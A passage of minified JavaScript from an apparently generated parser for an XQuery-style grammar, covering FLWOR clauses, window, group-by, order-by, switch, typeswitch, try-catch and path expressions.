266:qt();break;case 148:Ut();break;case 105:Ft();break;default:Qt()}}function st(){Vl.startNonterminal(\"ForClause\",Pl),Sl(137),kl(21),Nl(),ut();for(;;){if(Hl!=41)break;Sl(41),kl(21),Nl(),ut()}Vl.endNonterminal(\"ForClause\",Pl)}function ot(){xl(137),kl(21),at();for(;;){if(Hl!=41)break;xl(41),kl(21),at()}}function ut(){Vl.startNonterminal(\"ForBinding\",Pl),Sl(31),kl(255),Nl(),hi(),kl(164),Hl==79&&(Nl(),ds()),kl(158),Hl==72&&(Nl(),ft()),kl(150),Hl==81&&(Nl(),ct()),kl(122),Hl==228&&(Nl(),pt()),kl(53),Sl(154),kl(267),Nl(),_f(),Vl.endNonterminal(\"ForBinding\",Pl)}function at(){xl(31),kl(255),pi(),kl(164),Hl==79&&vs(),kl(158),Hl==72&&lt(),kl(150),Hl==81&&ht(),kl(122),Hl==228&&dt(),kl(53),xl(154),kl(267),Df()}function ft(){Vl.startNonterminal(\"AllowingEmpty\",Pl),Sl(72),kl(49),Sl(123),Vl.endNonterminal(\"AllowingEmpty\",Pl)}function lt(){xl(72),kl(49),xl(123)}function ct(){Vl.startNonterminal(\"PositionalVar\",Pl),Sl(81),kl(21),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"PositionalVar\",Pl)}function ht(){xl(81),kl(21),xl(31),kl(255),pi()}function pt(){Vl.startNonterminal(\"FTScoreVar\",Pl),Sl(228),kl(21),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"FTScoreVar\",Pl)}function dt(){xl(228),kl(21),xl(31),kl(255),pi()}function vt(){Vl.startNonterminal(\"LetClause\",Pl),Sl(174),kl(96),Nl(),gt();for(;;){if(Hl!=41)break;Sl(41),kl(96),Nl(),gt()}Vl.endNonterminal(\"LetClause\",Pl)}function mt(){xl(174),kl(96),yt();for(;;){if(Hl!=41)break;xl(41),kl(96),yt()}}function gt(){Vl.startNonterminal(\"LetBinding\",Pl);switch(Hl){case 31:Sl(31),kl(255),Nl(),hi(),kl(105),Hl==79&&(Nl(),ds());break;default:pt()}kl(27),Sl(52),kl(267),Nl(),_f(),Vl.endNonterminal(\"LetBinding\",Pl)}function yt(){switch(Hl){case 31:xl(31),kl(255),pi(),kl(105),Hl==79&&vs();break;default:dt()}kl(27),xl(52),kl(267),Df()}function bt(){Vl.startNonterminal(\"WindowClause\",Pl),Sl(137),kl(135);switch(Hl){case 251:Nl(),Et();break;default:Nl(),xt()}Vl.endNonterminal(\"WindowClause\",Pl)}function wt(){xl(137),kl(135);switch(Hl){case 251:St();break;default:Tt()}}function Et(){Vl.startNonterminal(\"TumblingWindowClause\",Pl),Sl(251),kl(85),Sl(269),kl(21),Sl(31),kl(255),Nl(),hi(),kl(110),Hl==79&&(Nl(),ds()),kl(53),Sl(154),kl(267),Nl(),_f(),Nl(),Nt();if(Hl==126||Hl==198)Nl(),kt();Vl.endNonterminal(\"TumblingWindowClause\",Pl)}function St(){xl(251),kl(85),xl(269),kl(21),xl(31),kl(255),pi(),kl(110),Hl==79&&vs(),kl(53),xl(154),kl(267),Df(),Ct(),(Hl==126||Hl==198)&&Lt()}function xt(){Vl.startNonterminal(\"SlidingWindowClause\",Pl),Sl(234),kl(85),Sl(269),kl(21),Sl(31),kl(255),Nl(),hi(),kl(110),Hl==79&&(Nl(),ds()),kl(53),Sl(154),kl(267),Nl(),_f(),Nl(),Nt(),Nl(),kt(),Vl.endNonterminal(\"SlidingWindowClause\",Pl)}function Tt(){xl(234),kl(85),xl(269),kl(21),xl(31),kl(255),pi(),kl(110),Hl==79&&vs(),kl(53),xl(154),kl(267),Df(),Ct(),Lt()}function Nt(){Vl.startNonterminal(\"WindowStartCondition\",Pl),Sl(237),kl(163),Nl(),At(),kl(83),Sl(265),kl(267),Nl(),_f(),Vl.endNonterminal(\"WindowStartCondition\",Pl)}function Ct(){xl(237),kl(163),Ot(),kl(83),xl(265),kl(267),Df()}function kt(){Vl.startNonterminal(\"WindowEndCondition\",Pl),Hl==198&&Sl(198),kl(50),Sl(126),kl(163),Nl(),At(),kl(83),Sl(265),kl(267),Nl(),_f(),Vl.endNonterminal(\"WindowEndCondition\",Pl)}function Lt(){Hl==198&&xl(198),kl(50),xl(126),kl(163),Ot(),kl(83),xl(265),kl(267),Df()}function At(){Vl.startNonterminal(\"WindowVars\",Pl),Hl==31&&(Sl(31),kl(255),Nl(),Mt()),kl(159),Hl==81&&(Nl(),ct()),kl(153),Hl==215&&(Sl(215),kl(21),Sl(31),kl(255),Nl(),Dt()),kl(127),Hl==187&&(Sl(187),kl(21),Sl(31),kl(255),Nl(),Ht()),Vl.endNonterminal(\"WindowVars\",Pl)}function Ot(){Hl==31&&(xl(31),kl(255),_t()),kl(159),Hl==81&&ht(),kl(153),Hl==215&&(xl(215),kl(21),xl(31),kl(255),Pt()),kl(127),Hl==187&&(xl(187),kl(21),xl(31),kl(255),Bt())}function Mt(){Vl.startNonterminal(\"CurrentItem\",Pl),Ha(),Vl.endNonterminal(\"CurrentItem\",Pl)}function _t(){Ba()}function Dt(){Vl.startNonterminal(\"PreviousItem\",Pl),Ha(),Vl.endNonterminal(\"PreviousItem\",Pl)}function Pt(){Ba()}function Ht(){Vl.startNonterminal(\"NextItem\",Pl),Ha(),Vl.endNonterminal(\"NextItem\",Pl)}function Bt(){Ba()}function jt(){Vl.startNonterminal(\"CountClause\",Pl),Sl(105),kl(21),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"CountClause\",Pl)}function Ft(){xl(105),kl(21),xl(31),kl(255),pi()}function It(){Vl.startNonterminal(\"WhereClause\",Pl),Sl(266),kl(267),Nl(),_f(),Vl.endNonterminal(\"WhereClause\",Pl)}function qt(){xl(266),kl(267),Df()}function Rt(){Vl.startNonterminal(\"GroupByClause\",Pl),Sl(148),kl(34),Sl(87),kl(267),Nl(),zt(),Vl.endNonterminal(\"GroupByClause\",Pl)}function Ut(){xl(148),kl(34),xl(87),kl(267),Wt()}function zt(){Vl.startNonterminal(\"GroupingSpecList\",Pl),Xt();for(;;){kl(176);if(Hl!=41)break;Sl(41),kl(267),Nl(),Xt()}Vl.endNonterminal(\"GroupingSpecList\",Pl)}function Wt(){Vt();for(;;){kl(176);if(Hl!=41)break;xl(41),kl(267),Vt()}}function Xt(){Vl.startNonterminal(\"GroupingSpec\",Pl);switch(Hl){case 31:Ll(255);break;default:_l=Hl}if(_l==3103||_l==35871||_l==36895||_l==37407||_l==37919||_l==38431||_l==39455||_l==39967||_l==40479||_l==40991||_l==41503||_l==42015||_l==42527||_l==43039||_l==43551||_l==44063||_l==45087||_l==45599||_l==46111||_l==46623||_l==47647||_l==48159||_l==49183||_l==49695||_l==50207||_l==51743||_l==52255||_l==52767||_l==53279||_l==53791||_l==54303||_l==55327||_l==55839||_l==56351||_l==56863||_l==57375||_l==57887||_l==60447||_l==60959||_l==61471||_l==61983||_l==62495||_l==63007||_l==63519||_l==64031||_l==64543||_l==65567||_l==66079||_l==67103||_l==67615||_l==68127||_l==68639||_l==69151||_l==69663||_l==70175||_l==72223||_l==74271||_l==74783||_l==75807||_l==76831||_l==77343||_l==77855||_l==78367||_l==78879||_l==79391||_l==81439||_l==81951||_l==82463||_l==82975||_l==83487||_l==83999||_l==84511||_l==85023||_l==85535||_l==87071||_l==87583||_l==88095||_l==89119||_l==90143||_l==91167||_l==92191||_l==92703||_l==93215||_l==94239||_l==94751||_l==95263||_l==97823||_l==98335||_l==99359||_l==101407||_l==101919||_l==102431||_l==102943||_l==103455||_l==103967||_l==105503||_l==108575||_l==109087||_l==110623||_l==111647||_l==112159||_l==112671||_l==113183||_l==113695||_l==114719||_l==115231||_l==115743||_l==116255||_l==116767||_l==117279||_l==119839||_l==120351||_l==120863||_l==121375||_l==122911||_l==123935||_l==124447||_l==124959||_l==127007||_l==127519||_l==128031||_l==128543||_l==129055||_l==129567||_l==130079||_l==131103||_l==131615||_l==133151||_l==133663||_l==134175||_l==134687||_l==136223||_l==136735||_l==138271||_l==140319){_l=Kl(2,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Jt(),kl(183);if(Hl==52||Hl==79)Hl==79&&vs(),kl(27),xl(52),kl(267),Df();Hl==94&&(xl(94),kl(15),xl(7)),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(2,Pl,_l)}}switch(_l){case-1:$t(),kl(183);if(Hl==52||Hl==79)Hl==79&&(Nl(),ds()),kl(27),Sl(52),kl(267),Nl(),_f();Hl==94&&(Sl(94),kl(15),Sl(7));break;default:_f()}Vl.endNonterminal(\"GroupingSpec\",Pl)}function Vt(){switch(Hl){case 31:Ll(255);break;default:_l=Hl}if(_l==3103||_l==35871||_l==36895||_l==37407||_l==37919||_l==38431||_l==39455||_l==39967||_l==40479||_l==40991||_l==41503||_l==42015||_l==42527||_l==43039||_l==43551||_l==44063||_l==45087||_l==45599||_l==46111||_l==46623||_l==47647||_l==48159||_l==49183||_l==49695||_l==50207||_l==51743||_l==52255||_l==52767||_l==53279||_l==53791||_l==54303||_l==55327||_l==55839||_l==56351||_l==56863||_l==57375||_l==57887||_l==60447||_l==60959||_l==61471||_l==61983||_l==62495||_l==63007||_l==63519||_l==64031||_l==64543||_l==65567||_l==66079||_l==67103||_l==67615||_l==68127||_l==68639||_l==69151||_l==69663||_l==70175||_l==72223||_l==74271||_l==74783||_l==75807||_l==76831||_l==77343||_l==77855||_l==78367||_l==78879||_l==79391||_l==81439||_l==81951||_l==82463||_l==82975||_l==83487||_l==83999||_l==84511||_l==85023||_l==85535||_l==87071||_l==87583||_l==88095||_l==89119||_l==90143||_l==91167||_l==92191||_l==92703||_l==93215||_l==94239||_l==94751||_l==95263||_l==97823||_l==98335||_l==99359||_l==101407||_l==101919||_l==102431||_l==102943||_l==103455||_l==103967||_l==105503||_l==108575||_l==109087||_l==110623||_l==111647||_l==112159||_l==112671||_l==113183||_l==113695||_l==114719||_l==115231||_l==115743||_l==116255||_l==116767||_l==117279||_l==119839||_l==120351||_l==120863||_l==121375||_l==122911||_l==123935||_l==124447||_l==124959||_l==127007||_l==127519||_l==128031||_l==128543||_l==129055||_l==129567||_l==130079||_l==131103||_l==131615||_l==133151||_l==133663||_l==134175||_l==134687||_l==136223||_l==136735||_l==138271||_l==140319){_l=Kl(2,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Jt(),kl(183);if(Hl==52||Hl==79)Hl==79&&vs(),kl(27),xl(52),kl(267),Df();Hl==94&&(xl(94),kl(15),xl(7)),Jl(2,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(2,t,-2)}}}switch(_l){case-1:Jt(),kl(183);if(Hl==52||Hl==79)Hl==79&&vs(),kl(27),xl(52),kl(267),Df();Hl==94&&(xl(94),kl(15),xl(7));break;case-3:break;default:Df()}}function $t(){Vl.startNonterminal(\"GroupingVariable\",Pl),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"GroupingVariable\",Pl)}function Jt(){xl(31),kl(255),pi()}function Kt(){Vl.startNonterminal(\"OrderByClause\",Pl);switch(Hl){case 201:Sl(201),kl(34),Sl(87);break;default:Sl(236),kl(67),Sl(201),kl(34),Sl(87)}kl(267),Nl(),Gt(),Vl.endNonterminal(\"OrderByClause\",Pl)}function Qt(){switch(Hl){case 201:xl(201),kl(34),xl(87);break;default:xl(236),kl(67),xl(201),kl(34),xl(87)}kl(267),Yt()}function Gt(){Vl.startNonterminal(\"OrderSpecList\",Pl),Zt();for(;;){kl(176);if(Hl!=41)break;Sl(41),kl(267),Nl(),Zt()}Vl.endNonterminal(\"OrderSpecList\",Pl)}function Yt(){en();for(;;){kl(176);if(Hl!=41)break;xl(41),kl(267),en()}}function Zt(){Vl.startNonterminal(\"OrderSpec\",Pl),_f(),Nl(),tn(),Vl.endNonterminal(\"OrderSpec\",Pl)}function en(){Df(),nn()}function tn(){Vl.startNonterminal(\"OrderModifier\",Pl);if(Hl==80||Hl==113)switch(Hl){case 80:Sl(80);break;default:Sl(113)}kl(180);if(Hl==123){Sl(123),kl(121);switch(Hl){case 147:Sl(147);break;default:Sl(173)}}kl(177),Hl==94&&(Sl(94),kl(15),Sl(7)),Vl.endNonterminal(\"OrderModifier\",Pl)}function nn(){if(Hl==80||Hl==113)switch(Hl){case 80:xl(80);break;default:xl(113)}kl(180);if(Hl==123){xl(123),kl(121);switch(Hl){case 147:xl(147);break;default:xl(173)}}kl(177),Hl==94&&(xl(94),kl(15),xl(7))}function rn(){Vl.startNonterminal(\"ReturnClause\",Pl),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"ReturnClause\",Pl)}function sn(){xl(220),kl(267),Df()}function on(){Vl.startNonterminal(\"QuantifiedExpr\",Pl);switch(Hl){case 235:Sl(235);break;default:Sl(129)}kl(21),Nl(),an();for(;;){if(Hl!=41)break;Sl(41),kl(21),Nl(),an()}Sl(224),kl(267),Nl(),_f(),Vl.endNonterminal(\"QuantifiedExpr\",Pl)}function un(){switch(Hl){case 235:xl(235);break;default:xl(129)}kl(21),fn();for(;;){if(Hl!=41)break;xl(41),kl(21),fn()}xl(224),kl(267),Df()}function an(){Vl.startNonterminal(\"QuantifiedVarDecl\",Pl),Sl(31),kl(255),Nl(),hi(),kl(110),Hl==79&&(Nl(),ds()),kl(53),Sl(154),kl(267),Nl(),_f(),Vl.endNonterminal(\"QuantifiedVarDecl\",Pl)}function fn(){xl(31),kl(255),pi(),kl(110),Hl==79&&vs(),kl(53),xl(154),kl(267),Df()}function ln(){Vl.startNonterminal(\"SwitchExpr\",Pl),Sl(243),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37);for(;;){kl(35),Nl(),hn();if(Hl!=88)break}Sl(109),kl(70),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"SwitchExpr\",Pl)}function cn(){xl(243),kl(22),xl(34),kl(267),Y(),xl(37);for(;;){kl(35),pn();if(Hl!=88)break}xl(109),kl(70),xl(220),kl(267),Df()}function hn(){Vl.startNonterminal(\"SwitchCaseClause\",Pl);for(;;){Sl(88),kl(267),Nl(),dn();if(Hl!=88)break}Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"SwitchCaseClause\",Pl)}function pn(){for(;;){xl(88),kl(267),vn();if(Hl!=88)break}xl(220),kl(267),Df()}function dn(){Vl.startNonterminal(\"SwitchCaseOperand\",Pl),_f(),Vl.endNonterminal(\"SwitchCaseOperand\",Pl)}function vn(){Df()}function mn(){Vl.startNonterminal(\"TypeswitchExpr\",Pl),Sl(253),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37);for(;;){kl(35),Nl(),yn();if(Hl!=88)break}Sl(109),kl(95),Hl==31&&(Sl(31),kl(255),Nl(),hi()),kl(70),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"TypeswitchExpr\",Pl)}function gn(){xl(253),kl(22),xl(34),kl(267),Y(),xl(37);for(;;){kl(35),bn();if(Hl!=88)break}xl(109),kl(95),Hl==31&&(xl(31),kl(255),pi()),kl(70),xl(220),kl(267),Df()}function yn(){Vl.startNonterminal(\"CaseClause\",Pl),Sl(88),kl(262),Hl==31&&(Sl(31),kl(255),Nl(),hi(),kl(30),Sl(79)),kl(260),Nl(),wn(),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"CaseClause\",Pl)}function bn(){xl(88),kl(262),Hl==31&&(xl(31),kl(255),pi(),kl(30),xl(79)),kl(260),En(),xl(220),kl(267),Df()}function wn(){Vl.startNonterminal(\"SequenceTypeUnion\",Pl),ms();for(;;){kl(134);if(Hl!=279)break;Sl(279),kl(260),Nl(),ms()}Vl.endNonterminal(\"SequenceTypeUnion\",Pl)}function En(){gs();for(;;){kl(134);if(Hl!=279)break;xl(279),kl(260),gs()}}function Sn(){Vl.startNonterminal(\"IfExpr\",Pl),Sl(152),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37),kl(77),Sl(245),kl(267),Nl(),_f(),Sl(122),kl(267),Nl(),_f(),Vl.endNonterminal(\"IfExpr\",Pl)}function xn(){xl(152),kl(22),xl(34),kl(267),Y(),xl(37),kl(77),xl(245),kl(267),Df(),xl(122),kl(267),Df()}function Tn(){Vl.startNonterminal(\"TryCatchExpr\",Pl),Cn();for(;;){kl(36),Nl(),On(),kl(184);if(Hl!=91)break}Vl.endNonterminal(\"TryCatchExpr\",Pl)}function Nn(){kn();for(;;){kl(36),Mn(),kl(184);if(Hl!=91)break}}function Cn(){Vl.startNonterminal(\"TryClause\",Pl),Sl(250),kl(87),Sl(276),kl(267),Nl(),Ln(),Sl(282),Vl.endNonterminal(\"TryClause\",Pl)}function kn(){xl(250),kl(87),xl(276),kl(267),An(),xl(282)}function Ln(){Vl.startNonterminal(\"TryTargetExpr\",Pl),G(),Vl.endNonterminal(\"TryTargetExpr\",Pl)}function An(){Y()}function On(){Vl.startNonterminal(\"CatchClause\",Pl),Sl(91),kl(257),Nl(),_n(),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"CatchClause\",Pl)}function Mn(){xl(91),kl(257),Dn(),xl(276),kl(267),Y(),xl(282)}function _n(){Vl.startNonterminal(\"CatchErrorList\",Pl),Qr();for(;;){kl(136);if(Hl!=279)break;Sl(279),kl(257),Nl(),Qr()}Vl.endNonterminal(\"CatchErrorList\",Pl)}function Dn(){Gr();for(;;){kl(136);if(Hl!=279)break;xl(279),kl(257),Gr()}}function Pn(){Vl.startNonterminal(\"OrExpr\",Pl),Bn();for(;;){if(Hl!=200)break;Sl(200),kl(267),Nl(),Bn()}Vl.endNonterminal(\"OrExpr\",Pl)}function Hn(){jn();for(;;){if(Hl!=200)break;xl(200),kl(267),jn()}}function Bn(){Vl.startNonterminal(\"AndExpr\",Pl),Fn();for(;;){if(Hl!=75)break;Sl(75),kl(267),Nl(),Fn()}Vl.endNonterminal(\"AndExpr\",Pl)}function jn(){In();for(;;){if(Hl!=75)break;xl(75),kl(267),In()}}function Fn(){Vl.startNonterminal(\"ComparisonExpr\",Pl),qn();if(Hl==27||Hl==54||Hl==57||Hl==58||Hl==60||Hl==61||Hl==62||Hl==63||Hl==128||Hl==146||Hl==150||Hl==164||Hl==172||Hl==178||Hl==186){switch(Hl){case 128:case 146:case 150:case 172:case 178:case 186:Nl(),mr();break;case 57:case 63:case 164:Nl(),yr();break;default:Nl(),dr()}kl(267),Nl(),qn()}Vl.endNonterminal(\"ComparisonExpr\",Pl)}function In(){Rn();if(Hl==27||Hl==54||Hl==57||Hl==58||Hl==60||Hl==61||Hl==62||Hl==63||Hl==128||Hl==146||Hl==150||Hl==164||Hl==172||Hl==178||Hl==186){switch(Hl){case 128:case 146:case 150:case 172:case 178:case 186:gr();break;case 57:case 63:case 164:br();break;default:vr()}kl(267),Rn()}}function qn(){Vl.startNonterminal(\"FTContainsExpr\",Pl),Un(),Hl==99&&(Sl(99),kl(76),Sl(244),kl(162),Nl(),Jo(),Hl==271&&(Nl(),ha())),Vl.endNonterminal(\"FTContainsExpr\",Pl)}function Rn(){zn(),Hl==99&&(xl(99),kl(76),xl(244),kl(162),Ko(),Hl==271&&pa())}function Un(){Vl.startNonterminal(\"StringConcatExpr\",Pl),Wn();for(;;){if(Hl!=280)break;Sl(280),kl(267),Nl(),Wn()}Vl.endNonterminal(\"StringConcatExpr\",Pl)}function zn(){Xn();for(;;){if(Hl!=280)break;xl(280),kl(267),Xn()}}function Wn(){Vl.startNonterminal(\"RangeExpr\",Pl),Vn(),Hl==248&&(Sl(248),kl(267),Nl(),Vn()),Vl.endNonterminal(\"RangeExpr\",Pl)}function Xn(){$n(),Hl==248&&(xl(248),kl(267),$n())}function Vn(){Vl.startNonterminal(\"AdditiveExpr\",Pl),Jn();for(;;){if(Hl!=40&&Hl!=42)break;switch(Hl){case 40:Sl(40);break;default:Sl(42)}kl(267),Nl(),Jn()}Vl.endNonterminal(\"AdditiveExpr\",Pl)}function $n(){Kn();for(;;){if(Hl!=40&&Hl!=42)break;switch(Hl){case 40:xl(40);break;default:xl(42)}kl(267),Kn()}}function Jn(){Vl.startNonterminal(\"MultiplicativeExpr\",Pl),Qn();for(;;){if(Hl!=38&&Hl!=118&&Hl!=151&&Hl!=180)break;switch(Hl){case 38:Sl(38);break;case 118:Sl(118);break;case 151:Sl(151);break;default:Sl(180)}kl(267),Nl(),Qn()}Vl.endNonterminal(\"MultiplicativeExpr\",Pl)}function Kn(){Gn();for(;;){if(Hl!=38&&Hl!=118&&Hl!=151&&Hl!=180)break;switch(Hl){case 38:xl(38);break;case 118:xl(118);break;case 151:xl(151);break;default:xl(180)}kl(267),Gn()}}function Qn(){Vl.startNonterminal(\"UnionExpr\",Pl),Yn();for(;;){if(Hl!=254&&Hl!=279)break;switch(Hl){case 254:Sl(254);break;default:Sl(279)}kl(267),Nl(),Yn()}Vl.endNonterminal(\"UnionExpr\",Pl)}function Gn(){Zn();for(;;){if(Hl!=254&&Hl!=279)break;switch(Hl){case 254:xl(254);break;default:xl(279)}kl(267),Zn()}}function Yn(){Vl.startNonterminal(\"IntersectExceptExpr\",Pl),er();for(;;){kl(223);if(Hl!=131&&Hl!=162)break;switch(Hl){case 162:Sl(162);break;default:Sl(131)}kl(267),Nl(),er()}Vl.endNonterminal(\"IntersectExceptExpr\",Pl)}function Zn(){tr();for(;;){kl(223);if(Hl!=131&&Hl!=162)break;switch(Hl){case 162:xl(162);break;default:xl(131)}kl(267),tr()}}function er(){Vl.startNonterminal(\"InstanceofExpr\",Pl),nr(),kl(224),Hl==160&&(Sl(160),kl(64),Sl(196),kl(260),Nl(),ms()),Vl.endNonterminal(\"InstanceofExpr\",Pl)}function tr(){rr(),kl(224),Hl==160&&(xl(160),kl(64),xl(196),kl(260),gs())}function nr(){Vl.startNonterminal(\"TreatExpr\",Pl),ir(),kl(225),Hl==249&&(Sl(249),kl(30),Sl(79),kl(260),Nl(),ms()),Vl.endNonterminal(\"TreatExpr\",Pl)}function rr(){sr(),kl(225),Hl==249&&(xl(249),kl(30),xl(79),kl(260),gs())}function ir(){Vl.startNonterminal(\"CastableExpr\",Pl),or(),kl(226),Hl==90&&(Sl(90),kl(30),Sl(79),kl(255),Nl(),hs()),Vl.endNonterminal(\"CastableExpr\",Pl)}function sr(){ur(),kl(226),Hl==90&&(xl(90),kl(30),xl(79),kl(255),ps())}function or(){Vl.startNonterminal(\"CastExpr\",Pl),ar(),kl(228),Hl==89&&(Sl(89),kl(30),Sl(79),kl(255),Nl(),hs()),Vl.endNonterminal(\"CastExpr\",Pl)}function ur(){fr(),kl(228),Hl==89&&(xl(89),kl(30),xl(79),kl(255),ps())}function ar(){Vl.startNonterminal(\"UnaryExpr\",Pl);for(;;){kl(267);if(Hl!=40&&Hl!=42)break;switch(Hl){case 42:Sl(42);break;default:Sl(40)}}Nl(),lr(),Vl.endNonterminal(\"UnaryExpr\",Pl)}function fr(){for(;;){kl(267);if(Hl!=40&&Hl!=42)break;switch(Hl){case 42:xl(42);break;default:xl(40)}}cr()}function lr(){Vl.startNonterminal(\"ValueExpr\",Pl);switch(Hl){case 260:Ll(248);break;default:_l=Hl}switch(_l){case 87812:case 123140:case 129284:case 141572:wr();break;case 35:Tr();break;default:hr()}Vl.endNonterminal(\"ValueExpr\",Pl)}function cr(){switch(Hl){case 260:Ll(248);break;default:_l=Hl}switch(_l){case 87812:case 123140:case 129284:case 141572:Er();break;case 35:Nr();break;default:pr()}}function hr(){Vl.startNonterminal(\"SimpleMapExpr\",Pl),Lr();for(;;){if(Hl!=26)break;Sl(26),kl(266),Nl(),Lr()}Vl.endNonterminal(\"SimpleMapExpr\",Pl)}function pr(){Ar();for(;;){if(Hl!=26)break;xl(26),kl(266),Ar()}}function dr(){Vl.startNonterminal(\"GeneralComp\",Pl);switch(Hl){case 60:Sl(60);break;case 27:Sl(27);break;case 54:Sl(54);break;case 58:Sl(58);break;case 61:Sl(61);break;default:Sl(62)}Vl.endNonterminal(\"GeneralComp\",Pl)}function vr(){switch(Hl){case 60:xl(60);break;case 27:xl(27);break;case 54:xl(54);break;case 58:xl(58);break;case 61:xl(61);break;default:xl(62)}}function mr(){Vl.startNonterminal(\"ValueComp\",Pl);switch(Hl){case 128:Sl(128);break;case 186:Sl(186);break;case 178:Sl(178);break;case 172:Sl(172);break;case 150:Sl(150);break;default:Sl(146)}Vl.endNonterminal(\"ValueComp\",Pl)}function gr(){switch(Hl){case 128:xl(128);break;case 186:xl(186);break;case 178:xl(178);break;case 172:xl(172);break;case 150:xl(150);break;default:xl(146)}}function yr(){Vl.startNonterminal(\"NodeComp\",Pl);switch(Hl){case 164:Sl(164);break;case 57:Sl(57);break;default:Sl(63)}Vl.endNonterminal(\"NodeComp\",Pl)}function br(){switch(Hl){case 164:xl(164);break;case 57:xl(57);break;default:xl(63)}}function wr(){Vl.startNonterminal(\"ValidateExpr\",Pl),Sl(260),kl(160);if(Hl!=276)switch(Hl){case 252:Sl(252),kl(255),Nl(),go();break;default:Nl(),Sr()}kl(87),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"ValidateExpr\",Pl)}function Er(){xl(260),kl(160);if(Hl!=276)switch(Hl){case 252:xl(252),kl(255),yo();break;default:xr()}kl(87),xl(276),kl(267),Y(),xl(282)}function Sr(){Vl.startNonterminal(\"ValidationMode\",Pl);switch(Hl){case 171:Sl(171);break;default:Sl(240)}Vl.endNonterminal(\"ValidationMode\",Pl)}function xr(){switch(Hl){case 171:xl(171);break;default:xl(240)}}function Tr(){Vl.startNonterminal(\"ExtensionExpr\",Pl);for(;;){Nl(),Cr(),kl(100);if(Hl!=35)break}Sl(276),kl(274),Hl!=282&&(Nl(),G()),Sl(282),Vl.endNonterminal(\"ExtensionExpr\",Pl)}function Nr(){for(;;){kr(),kl(100);if(Hl!=35)break}xl(276),kl(274),Hl!=282&&Y(),xl(282)}function Cr(){Vl.startNonterminal(\"Pragma\",Pl),Sl(35),Al(252),Hl==21&&Sl(21),Ha(),Al(10),Hl==21&&(Sl(21),Al(0),Sl(1)),Al(5),Sl(30),Vl.endNonterminal(\"Pragma\",Pl)}function kr(){xl(35),Al(252),Hl==21&&xl(21),Ba(),Al(10),Hl==21&&(xl(21),Al(0),xl(1)),Al(5),xl(30)}function Lr(){Vl.startNonterminal(\"PathExpr\",Pl);switch(Hl){case 46:Sl(46),kl(286);switch(Hl){case 25:case 26:case 27:case 37:case 38:case 40:case 41:case 42:case 49:case 53:case 57:case 58:case 60:case 61:case 62:case 63:case 69:case 87:case 99:case 205:case 232:case 247:case 273:case 279:case 280:case 281:case 282:break;default:Nl(),Or()}break;case 47:Sl(47),kl(265),Nl(),Or();break;default:Or()}Vl.endNonterminal(\"PathExpr\",Pl)}function Ar(){switch(Hl){case 46:xl(46),kl(286);switch(Hl){case 25:case 26:case 27:case 37:case 38:case 40:case 41:case 42:case 49:case 53:case 57:case 58:case 60:case 61:case 62:case 63:case 69:case 87:case 99:case 205:case 232:case 247:case 273:case 279:case 280:case 281:case 282:break;default:Mr()}break;case 47:xl(47),kl(265),Mr();break;default:Mr()}}function Or(){Vl.startNonterminal(\"RelativePathExpr\",Pl),_r();for(;;){switch(Hl){case 26:Ll(266);break;default:_l=Hl}if(_l!=25&&_l!=27&&_l!=37&&_l!=38&&_l!=40&&_l!=41&&_l!=42&&_l!=46&&_l!=47&&_l!=49&&_l!=53&&_l!=54&&_l!=57&&_l!=58&&_l!=60&&_l!=61&&_l!=62&&_l!=63&&_l!=69&&_l!=70&&_l!=75&&_l!=79&&_l!=80&&_l!=81&&_l!=84&&_l!=87&&_l!=88&&_l!=89&&_l!=90&&_l!=94&&_l!=99&&_l!=105&&_l!=109&&_l!=113&&_l!=118&&_l!=122&&_l!=123&&_l!=126&&_l!=128&&_l!=131&&_l!=137&&_l!=146&&_l!=148&&_l!=150&&_l!=151&&_l!=160&&_l!=162&&_l!=163&&_l!=164&&_l!=172&&_l!=174&&_l!=178&&_l!=180&&_l!=181&&_l!=186&&_l!=198&&_l!=200&&_l!=201&&_l!=205&&_l!=220&&_l!=224&&_l!=232&&_l!=236&&_l!=237&&_l!=247&&_l!=248&&_l!=249&&_l!=254&&_l!=266&&_l!=270&&_l!=273&&_l!=279&&_l!=280&&_l!=281&&_l!=282&&_l!=23578&&_l!=24090){_l=Kl(3,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{switch(Hl){case 46:xl(46);break;case 47:xl(47);break;default:xl(26)}kl(265),Dr(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(3,Pl,_l)}}if(_l!=-1&&_l!=46&&_l!=47)break;switch(Hl){case 46:Sl(46);break;case 47:Sl(47);break;default:Sl(26)}kl(265),Nl(),_r()}Vl.endNonterminal(\"RelativePathExpr\",Pl)}function Mr(){Dr();for(;;){switch(Hl){case 